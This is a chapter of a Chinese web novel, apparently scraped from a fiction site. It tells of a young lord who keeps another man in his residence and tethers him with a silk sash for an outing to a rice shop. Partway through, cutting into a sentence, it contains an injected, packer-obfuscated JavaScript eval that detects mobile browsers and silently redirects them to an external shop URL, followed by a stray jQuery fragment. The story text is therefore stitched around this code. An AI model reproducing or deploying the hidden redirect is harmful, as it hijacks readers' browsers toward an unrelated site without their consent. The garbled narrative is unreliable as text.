文趣网 > 其他小说 > 病美人被宿敌觊觎后 > 9. 第 9 章
    谢逐月如此说,江照画便担忧问:“如此铺张浪费,会惹得圣上不喜吧?”

    谢逐月虽是世子,但江照画知道他并不受宠,平日圣上几乎不会传见他,逢年过节也只是象征性地送些赏赐罢了。

    谢逐月问:“画儿怎知我不受宠?分明我做什么圣上也并未阻止,按理来说,我这是被宠得无法无天了才对。”

    江照画缓缓摇头:“你骗得了别人,骗不了我。”

    他比谁都清楚,若是偏爱某人,自然会将权力交于对方,而不是将对方困于京城内,却不予任何实权,只给一些看似奢华却毫无用处的东西,分明是想将他毁了,何至于说是恩宠。

    谢逐月不语,仔细盯着江照画看。

    面前的人被他养了几日,脸色稍好了一些,只是偶尔风一吹,脸上仍是会发白,连那薄唇也会毫无血色。

    如今站于他面前,实打实担心他会惹得圣上不喜。

    谢逐月忽的一笑。

    江照画一顿。

    谢逐月笑了片刻道:“画儿不必担忧,我越是铺张浪费,圣上越是喜欢。画儿只需要好好收下我赠与的东西便够了,其余的不必管。”

    谢逐月像是着了魔一般,想将好东西送于他面前。

    江照画虽觉得古怪,但是对方乐意,他便也没甚好担心,接受便是了。他若是不接受,谢逐月指不定还有其他法子送与他。

    看着面前的这片空地,如此大,建起来怕也是府里最大的屋子了。

    江照画突然想起路上并未见多余房间,好奇问:“你住在何处?”

    谢逐月冲他眨了眨眼,无辜道:“如今画儿住的地方便是。”

    江照画不解:“我还以为是特意为我准备……”

    “这不正准备着?”谢逐月挑眉。

    “若是如今我住的地方是你的房间,为何有几日不见你回来?”

    江照画还有话未说完,那屋子里许多物件看着崭新,也不像常年有人住。

    “这地方有什么好待的?若不是画儿在,我才不回来。”

    说着如此孩子气的话,江照画无奈问:“你不回来又能住哪?”

    “外头酒楼多的是,随便一处便可住下。”

    见他说的轻飘飘的,江照画也便知那是他的习惯。

    “今日你可还有事要出府?”江照画已经习惯了时不时问一句。

    “今日忙完了?”

    江照画:“那可否陪我去个地方。”

    谢逐月迟疑:“莫不是又想离开世子府了?”

    江照画点头,见谢逐月皱眉,急忙道:“其他人跟着我你不放心,但若是有你跟着,也不怕有人想害我。”

    谢逐月默默看向一侧,江照画顺着他视线的方向走了几步,挡在他面前,追问:“怎的,连你自己也信不过?”

    谢逐月狡辩:“不是,只是……”

    “只是什么?还是担心我一离开世子府就会跑掉?”

    江照画本是随口一提,结果见谢逐月拧眉,便知是被他意外猜中了。

    他有些诧异,但仍是道:“我就是跑,能跑到哪里去?”

    谢逐月勉强点头道:“知道了,会带你去,不过画儿得答应我一事。”

    “你说。”

    “为了安全,画儿必须与我绑在一处。”

    这话听得江照画稀里糊涂,他抬起手:“如何绑着?”他将双手并在一起,懵懂问,“如此绑着?”

    纤细的手腕即使靠在一起,一只手就能抓住,而面前的人就这么毫无防备地看着他。

    谢逐月深吸一口气,拉着他的手分开道:“画儿是从哪里学到这些的?”

    江照画迷茫,看了一眼自己被分开的手,又看了眼微微有些动怒的谢逐月,反问:“不是你说出去要和你绑在一起?”

    他只能如此想着,这样就是想跑也完全跑不了。

    江照画又好一阵迟疑,问:“莫非将你我的手绑在一起?”

    这样虽然也跑不掉,但对谢逐月来说,岂不是给自己添堵,谢逐月没理由为难自己。

    谢逐月摇头失笑,放下他的手,轻声道:“如此出去,外人该如何看你我?画儿又不是我绑回来的压寨夫人,何须如此对待?”

    江照画沉默,他们如今的关系可不就是类似于被绑回来的压寨夫人,尤其是谢逐月还总喜欢说他是世子妃。

    “外头冷,多穿些衣裳。届时将你我的手绑在一起,外人也看不见,我也安心。”

    江照画同意:“行,便听你的。”

    只要能出去,哪怕是真的将他的手绑于一起牵出去,他也愿意。

    前世更下作的事,他也做过,这对于他来说不算什么。

    谢逐月将他送回屋里,这才离开。

    江照画无聊,拿着书正看着,谢逐月风风火火带着人回来,众人将手中的东西放下后急匆匆离去。

    谢逐月让开身,问道:“画儿,瞧瞧看,这些绸缎,你喜欢哪条?”

    “不过是绳子,随便选一条就是了。”

    “那不行,别人笑我便算了,若是笑话画儿,我怕是会动手打人。为了他们着想,画儿还是好好选一选吧。”

    这分明是用别人来威胁他了,只是谢逐月的威胁很有用。

    江照画挑了两条,一条白色,一条黑色。

    江照画平日穿白色衣裳多,谢逐月则是黑色居多。

    挑完,江照画又道:“还需麻烦帮我准备一身黑色衣裳。”

    谢逐月拿过那条黑色,扔回那堆绸缎里说:“便用白色好了。”

    “明日再去?”谢逐月商量着问。

    江照画叹气:“就怕明日你有事。”

    一听他这么说,谢逐月立马就说:“行,现在就去,等我换身衣裳。”

    谢逐月还真的翻出一身白衣裳,江照画看惯了他穿黑色衣裳,一副谁都不服的模样,如今见他穿着白衣,倒有几分温润。

    紧接着便见谢逐月流里流气地冲他挑了挑眉,笑盈盈问:“怎么样?好看吗?”

    江照画叹气,点头。

    “为何叹气?”谢逐月左看看右看看,“莫非我穿着不好看?”

    “好看好看,”江照画似是哄他般连说了几句,见他还要问,十分严肃点头道,“当真好看。”

    谢逐月不管江照画说的是真的假的,总之说他好看,那就够了,他拿起白色绸缎。

    江照画自觉将手递到他面前,谢逐月握着他细细的手看了半晌,最后放下道:“换个地方绑。”

    江照画不解:“换什么地方?”

    他抬了抬下巴,露出肤白凝脂的脖颈:“莫非要绑脖子上?”

    谢逐月大骇:“怎么能这么想?我是那种人?”

    “除了脖子,我着实想不到其他能绑的地方。”

    谢逐月上下打量,最后视线落在纤细得有些过分的腰肢上。

    江照画低头看了一眼,拒绝道:“绑在那处像什么话?”

    “画儿可真是伶牙俐齿,脖子这种要害尚且可以,腰这种地方又为何不可以?”

    江照画挣扎:“绑手不行?”

    “都说了画儿的手太细了,若是不小心该被扯断。”

    江照画被他这话逗乐了:“怎么会如此脆弱?”

    谢逐月仍是摇头:“若是不同意,今日便暂且不去,等哪日画儿觉得可以了,到时再说其他。”

    见他是说真的,江照画微微抬手妥协道:“那便绑吧。”

    被绑在腰上,虽然心中觉得古怪,但让他具体说出哪里古怪,他又着实说不出来。

    加之他现如今也想快些出去,只怕谢逐月说什么他都会答应。

    谢逐月弯身,双手绕过他腰间慢悠悠系着,

    江照画垂眸提醒道:“可以移到身前来系,在身后看不见,不好系。”

    谢逐月似是轻叹一声,按照他说的移至身前绑好,另一端递到江照画面前:“好画儿,轮到你帮我系上了。”

    他把手递至他面前。

    江照画接了绸缎另一端,绕了他手腕两圈,谢逐月顺势在掌心也绕了两圈,这才放心道:“好了,系上吧。”

    系上后两人纷纷打量。

    两人离得近时,绸带隐于两人衣裳之间,看得并不分明。只有离得近了,才隐隐能看到系于两人之间的白色绸缎。

    谢逐月张手丈量绸缎,从自己手上一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17855602|211893||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    寸一寸量到江照画腰间,有些担忧问:“会不会太长了?”

    江照画不说话,只抬脚往一侧走了两步,立马就被扯住。

    他扭头看谢逐月,谢逐月依旧不放心道:“若是有人将绸缎剪断……”

    江照画也不与他争辩,只走近将绸缎又在他掌心绕了两圈,这下他便是多走快一步都会被扯到。

    “画儿果然聪慧。”

    江照画可不是为了得到他这一句夸赞,问道:“如今可以走了?”

    “走吧。”

    谢逐月跟江照画往外走去,两人步伐不一致,每走两步便会被对方扯到。

    谢逐月好几次停下看向江照画腰间,迟疑问:“疼不疼?”

    “不疼,继续走。”

    谢逐月和与他一同走到院子门口时,只觉得手已经被扯了好几次,干脆停下,伸手揽住江照画的腰,两人之间的距离骤然缩短,绸缎也不再碍事。

    江照画抬眼,谢逐月理所当然道:“如此便不会再扯着。”

    “光天化日之下,在外怕是会被笑话。”

    “画儿怕被笑话?”谢逐月问他。

    江照画摇头,他最不怕的便是外人的流言蜚语,比起别人的闲话,他更怕自己毫无权力,只能任由人宰割。

    “那便这般走吧。”谢逐月说着,与他一起走到世子府门口。出门前却将手放下,只悬在江照画身后。

    察觉到腰间的手离去,江照画正想看他,谢逐月却道:“看前方,别看我。”

    江照画虽不解,但依旧看着前方。

    出了世子府,有马车候着,谢逐月道:“不知画儿喜欢什么样的马车,便先差人随意挑了一顶送过来,若是不喜之后再换。”

    “都喜欢。”江照画道。

    谢逐月等他上了马车,才跟在后面,一同进了马车里。

    马车往前时稍稍有些颠簸,谢逐月顺势坐在江照画身边,问他:“要去哪?”

    江照画薄唇轻启:“米行。”

    “去那做什么?”谢逐月从外面跟马夫喊了一声,“去米行。”又复看向江照画。

    “我想看看今年的米如何。”

    第一次出府却是要去看米行,谢逐月笑道:“画儿果然与众不同。”

    江照画闭眼:“你觉不觉得你像是在恭维。”

    “画儿这话可是伤人心了,我是真心觉得画儿有趣得很。”

    江照画睁眼,不可思议看他,怎会连如此无聊之事也觉得有趣?

    他本想着等谢逐月腻了,自己便能离开,如今听他这么说,顿时怀疑他究竟有没有机会可以离开世子府。

    “若是我需要用钱,可否借我些许?”

    “我的便是你的,随便用。”

    “你说这话就不怕我将世子府搬空?”

    “若是画儿欢喜,搬空便搬空。”

    江照画看着谢逐月,想从他脸上看出几分调侃,可偏偏谢逐月一派认真,他见惯了嚣张、厌恶的眼神通通没有,有的只是小心翼翼生怕被抛弃,他正被看得不自在垂眸。

    谢逐月轻声道:“只希望画儿届时带上我,莫将我抛弃了。”

    “只是玩笑罢了,若说抛弃,也自当是你抛弃我。”

    “这可真是冤枉啊,我分明并未做对不起画儿的事,画儿却如此想我,”他捂着胸口,故作受伤道,“我就知画儿嫌弃我,在画儿心中,我竟是如此卑劣之人。”

    江照画被他搞得语噎,干巴巴道:“我并未如此想过。”

    “既如此,为何不保证不会抛下我,而要欲盖弥彰提起其他?”

    如此直白要他说自己不会抛弃他,江照画虽不觉得有那一日,仍是顺从道:“你帮我从江家离开,便是对我有天大的恩情,怎会将你抛弃?”

    谢逐月便满足了,提醒道:“这可是画儿说的,并非我强迫。”

    “这是我说的。”江照画应他。

    马车内气氛融融,谢逐月欲再说些什么,外头却响起马夫的声音:“世子,有人拦住路了。”

    谢逐月不耐道:“将人赶走。”扭头看向江照画。

    马夫的声音又烦人地响起:“对方说他是江家人,要寻自家人。”